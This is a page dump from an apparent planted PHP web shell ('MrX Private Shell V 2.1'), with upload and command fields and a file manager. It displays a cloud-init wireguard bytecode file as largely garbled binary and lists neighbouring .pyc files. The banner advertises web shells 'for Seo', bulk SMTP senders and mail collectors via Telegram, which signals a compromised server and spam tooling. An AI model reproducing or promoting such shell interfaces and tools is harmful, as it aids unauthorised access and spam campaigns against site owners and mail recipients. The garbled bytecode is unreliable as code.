__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h��
�6�%SrSSKrSSKrSSKJrJr SSKJr SSKJ	r	 SSK
Jr SSKJ
r
 SS	/\
S
/S.r\\S'\R "\5r\"/S
Q5rSrSrSrS\4SjrS\4SjrS\S\4SjrS\4SjrS\4SjrS\4SjrSr S\!S\	S\S\SS4
Sjr"g) �	Wireguard�N)�subp�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCE�cc_wireguard�ubuntu�	wireguard)�id�distros�	frequency�activate_by_schema_keys�meta)�name�config_path�contenti��
)���wg_intc���/n[R[UR555nU(a.SR	[U55nUR
SU35 [UR55HGupEUS:XdUS:XdUS:XdM[U[5(aM0UR
SUSU35 MI U(a'[S[[R	U535eg	)
a>Validate user-provided wg:interfaces option values.

This function supplements flexible jsonschema validation with specific
value checks to aid in triage of invalid user-provided configuration.

@param wg_int: Dict of configuration value under 'wg:interfaces'.

@raises: ValueError describing invalid values provided.
z, z%Missing required wg:interfaces keys: rrrz$Expected a string for wg:interfaces:�. Found z*Invalid wireguard interface configuration:N)�REQUIRED_WG_INT_KEYS�
difference�set�keys�join�sorted�append�items�
isinstance�str�
ValueError�NL)r�errors�missingr�key�values      �?/usr/lib/python3/dist-packages/cloudinit/config/cc_wireguard.py�supplemental_schema_validationr,s����F�"�-�-�c�&�+�+�-�.@�A�G���y�y����)���
�
�=�d�V�D�E��V�\�\�^�,�
���&�=�C�=�0�C�9�4D��e�S�)�)��
�
�:�3�%�x��w�O��-���8���R�W�W�V�_�<M�N�
�	
��c
��[RSUS5 [RSUS5 [R"USUS[S9 g	![
a)n[
SUSS[[U535UeS	nAff=f)
z�Writing user-provided configuration into Wireguard
interface configuration file.

@param wg_int: Dict of configuration value under 'wg:interfaces'.

@raises: RuntimeError for issues writing of configuration file.
z"Configuring Wireguard interface %srz#Writing wireguard config to file %srr)�modez-Failure writing Wireguard configuration file �:N)	�LOG�debugr�
write_file�WG_CONFIG_FILE_MODE�	Exception�RuntimeErrorr&r$)r�es  r+�write_configr8;s����I�I�2�F�6�N�C�	��	�	�7��
�9N�O�����=�!�6�)�#4�;N�	
�����
��}�%�&�a��t�C��F�8�
5�
��	���s�9A�
B�$B�B�cloudc�f�[RSUS5 URRSSUS35 [RSUS5 URRSSUS35 g![R
a#n[
S[[U535UeSnAff=f)	z�Enable and start Wireguard interface

@param wg_int: Dict of configuration value under 'wg:interfaces'.

@raises: RuntimeError for issues enabling WG interface.
zEnabling wg-quick@%s at bootr�enablez	wg-quick@z!Bringing up interface wg-quick@%s�restartz0Failed enabling/starting Wireguard interface(s):N)	r1r2�distro�manage_servicer�ProcessExecutionErrorr6r&r$)rr9r7s   r+�	enable_wgr@Ps�����	�	�0�&��.�A�
���#�#�H�	�&��.�9I�.J�K��	�	�5�v�f�~�F�
���#�#�I��6�&�>�:J�/K�L���%�%���>�r�d�3�q�6�(�K�
��	���s�A6A9�9B0�
B+�+B0�wg_readinessprobesc���/nSnUH6n[U[5(aMURSUSU35 US-
nM8 U(a'[S[[RU535eg)z�Basic validation of user-provided probes

@param wg_readinessprobes: List of readinessprobe probe(s).

@raises: ValueError of wrong datatype provided for probes.
rz(Expected a string for readinessprobe at r�z Invalid readinessProbe commands:N)r#r$r!r%r&r)rAr'�pos�cs    r+�!readinessprobe_command_validationrFbsz���F�
�C�
���!�S�!�!��M�M�:�3�%�x��s�K�
�
�1�H�C� ���.�r�d�2�7�7�6�?�2C�D�
�	
�r-c�R�/nUH9n[RS[U55 [R"USSS9 M; U(a'[
S[[RU535eg![Ra!nURUSU35 SnAM�SnAff=f)z�Execute provided readiness probe(s)

@param wg_readinessprobes: List of readinessprobe probe(s).

@raises: ProcessExecutionError for issues during execution of probes.
zRunning readinessprobe: '%s'T��capture�shellz: Nz&Failed running readinessprobe command:)	r1r2r$rr?r!r6r&r)rAr'rEr7s    r+�readinessproberKxs����F�
��	'��I�I�4�c�!�f�=��I�I�a��T�2� ���4�R�D������8I�J�
�	
����)�)�	'��M�M�Q�C�r�!��+�&�&��	'�s�5A1�1B&�B!�!B&c��S/n[R"S5(ag[R"5[:aURS5 URR5 URRU5 g![a [R"[S5 ef=f![a [R"[S5 ef=f)z}Install wireguard packages and tools

@param cloud: Cloud object

@raises: Exception for issues during package
installation.
zwireguard-tools�wgNrzPackage update failedz!Failed to install wireguard-tools)r�whichr�kernel_version�MIN_KERNEL_VERSIONr!r=�update_package_sourcesr5�logexcr1�install_packages)r9�packagess  r+� maybe_install_wireguard_packagesrU�s���"�"�H��z�z�$��������1�1�����$��
���+�+�-��
���%�%�h�/��	�����C�0�1�
���
�����C�<�=�
��s�B�*B0�'B-�0'Cc	��[R"SSSS9n[R"SURR	55(d,[
R
S5 [R"SSSS9 gg![Ra3n[R"[
S[[U535 eSnAff=f)	zQLoad wireguard kernel module

@raises: ProcessExecutionError for issues modprobe
�lsmodTrHrzLoading wireguard kernel modulezmodprobe wireguardz Could not load wireguard module:N)r�re�search�stdout�stripr1r2r?rrRr&r$)�outr7s  r+�load_wireguard_kernel_moduler]�s���
��i�i���T�:���y�y��c�j�j�&6�&6�&8�9�9��I�I�7�8��I�I�*�D��E�:���%�%�����C�;�B�4��A��x�H�I�
���s�A5A9�9C�
.B;�;Cr�cfg�args�returnc�v�SnSU;aS5 USnO[RSU5 g[U5 [5 USH$n[	U5 [U5 [
XR5 M& SU;a"USbUSn[U5 [U5 g[RS5 g)Nrz!Found Wireguard section in configz<Skipping module named %s, no 'wireguard' configuration found�
interfacesrKz+Skipping readinessprobe - no checks defined)	r1r2rUr]r,r8r@rFrK)rr^r9r_�
wg_sectionrrAs       r+�handlerd�s����J��c���	�	�5�6���%�
��	�	�J��	
�	�%�U�+� �"��\�*��&�v�.�	�V��	�&� �+�	�J�&��'�(�4�'�(8�9��)�*<�=��)�*��	�	�?�@r-)#�__doc__�loggingrX�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr	r�__annotations__�	getLogger�__name__r1�	frozensetrr4r&rP�dictr,r8r@�listrFrKrUr]r$rd�r-r+�<module>rss�����	� �!�#�.�+���z�� +�}�	��j������!�� �!C�D����	����
�4�
�:���*�d��5��$
�$�
�,
�t�
�*�E��<�$A��$A�6�$A�%�$A�t�$A��$Ar-

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 208 B 0644
cc_ansible.cpython-313.pyc File 13.56 KB 0644
cc_apk_configure.cpython-313.pyc File 4.24 KB 0644
cc_apt_configure.cpython-313.pyc File 40.51 KB 0644
cc_apt_pipelining.cpython-313.pyc File 2.22 KB 0644
cc_bootcmd.cpython-313.pyc File 2.49 KB 0644
cc_byobu.cpython-313.pyc File 3.22 KB 0644
cc_ca_certs.cpython-313.pyc File 8.43 KB 0644
cc_chef.cpython-313.pyc File 13.83 KB 0644
cc_disable_ec2_metadata.cpython-313.pyc File 1.87 KB 0644
cc_disk_setup.cpython-313.pyc File 32.24 KB 0644
cc_fan.cpython-313.pyc File 2.97 KB 0644
cc_final_message.cpython-313.pyc File 3.59 KB 0644
cc_growpart.cpython-313.pyc File 23.64 KB 0644
cc_grub_dpkg.cpython-313.pyc File 5.97 KB 0644
cc_install_hotplug.cpython-313.pyc File 4.07 KB 0644
cc_keyboard.cpython-313.pyc File 1.86 KB 0644
cc_keys_to_console.cpython-313.pyc File 2.88 KB 0644
cc_landscape.cpython-313.pyc File 3.69 KB 0644
cc_locale.cpython-313.pyc File 1.57 KB 0644
cc_lxd.cpython-313.pyc File 15.8 KB 0644
cc_mcollective.cpython-313.pyc File 3.75 KB 0644
cc_mounts.cpython-313.pyc File 22.29 KB 0644
cc_ntp.cpython-313.pyc File 16.82 KB 0644
cc_package_update_upgrade_install.cpython-313.pyc File 5.19 KB 0644
cc_phone_home.cpython-313.pyc File 3.93 KB 0644
cc_power_state_change.cpython-313.pyc File 8.38 KB 0644
cc_puppet.cpython-313.pyc File 10.86 KB 0644
cc_reset_rmc.cpython-313.pyc File 5.26 KB 0644
cc_resizefs.cpython-313.pyc File 11.22 KB 0644
cc_resolv_conf.cpython-313.pyc File 3.49 KB 0644
cc_rh_subscription.cpython-313.pyc File 18.68 KB 0644
cc_rsyslog.cpython-313.pyc File 13.95 KB 0644
cc_runcmd.cpython-313.pyc File 1.77 KB 0644
cc_salt_minion.cpython-313.pyc File 4.9 KB 0644
cc_scripts_per_boot.cpython-313.pyc File 1.5 KB 0644
cc_scripts_per_instance.cpython-313.pyc File 1.51 KB 0644
cc_scripts_per_once.cpython-313.pyc File 1.49 KB 0644
cc_scripts_user.cpython-313.pyc File 1.47 KB 0644
cc_scripts_vendor.cpython-313.pyc File 1.63 KB 0644
cc_seed_random.cpython-313.pyc File 3.92 KB 0644
cc_set_hostname.cpython-313.pyc File 3.85 KB 0644
cc_set_passwords.cpython-313.pyc File 10.9 KB 0644
cc_snap.cpython-313.pyc File 4.79 KB 0644
cc_spacewalk.cpython-313.pyc File 3.37 KB 0644
cc_ssh.cpython-313.pyc File 11.57 KB 0644
cc_ssh_authkey_fingerprints.cpython-313.pyc File 5.25 KB 0644
cc_ssh_import_id.cpython-313.pyc File 5.2 KB 0644
cc_timezone.cpython-313.pyc File 1.35 KB 0644
cc_ubuntu_autoinstall.cpython-313.pyc File 1.81 KB 0644
cc_ubuntu_drivers.cpython-313.pyc File 5.34 KB 0644
cc_ubuntu_pro.cpython-313.pyc File 15.12 KB 0644
cc_update_etc_hosts.cpython-313.pyc File 2.77 KB 0644
cc_update_hostname.cpython-313.pyc File 2.49 KB 0644
cc_users_groups.cpython-313.pyc File 3.1 KB 0644
cc_wireguard.cpython-313.pyc File 9.03 KB 0644
cc_write_files.cpython-313.pyc File 6.27 KB 0644
cc_write_files_deferred.cpython-313.pyc File 1.82 KB 0644
cc_yum_add_repo.cpython-313.pyc File 5.27 KB 0644
cc_zypper_add_repo.cpython-313.pyc File 6.28 KB 0644
modules.cpython-313.pyc File 13.12 KB 0644
schema.cpython-313.pyc File 54.5 KB 0644
Filemanager